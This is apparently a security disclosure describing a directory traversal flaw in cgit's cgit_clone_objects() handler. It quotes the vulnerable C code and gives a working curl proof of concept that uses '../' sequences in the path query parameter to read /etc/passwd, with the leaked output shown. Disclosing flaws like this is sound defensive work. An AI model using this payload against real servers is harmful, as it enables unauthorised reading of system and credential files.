There is a directory traversal vulnerability in cgit_clone_objects(), reachable when the configuration flag enable-http-clone is set to 1 (default):

void cgit_clone_objects(void)
{
    if (!ctx.qry.path) {
        cgit_print_error_page(400, "Bad request", "Bad request");
        return;
    }

    if (!strcmp(ctx.qry.path, "info/packs")) {
        print_pack_info();
        return;
    }

    send_file(git_path("objects/%s", ctx.qry.path));
}

send_file() is a function that simply sends the data stored at the given filesystem path out over the network.
git_path() partially rewrites the provided path and e.g. prepends the base path of the repository, but it does not sanitize the provided path to prevent directory traversal.

ctx.qry.path can come from querystring_cb(), which takes unescaped data from the querystring. To trigger this case:

$ curl http://127.0.0.1/cgit/cgit.cgi/git/objects/?path=../../../../../../../etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin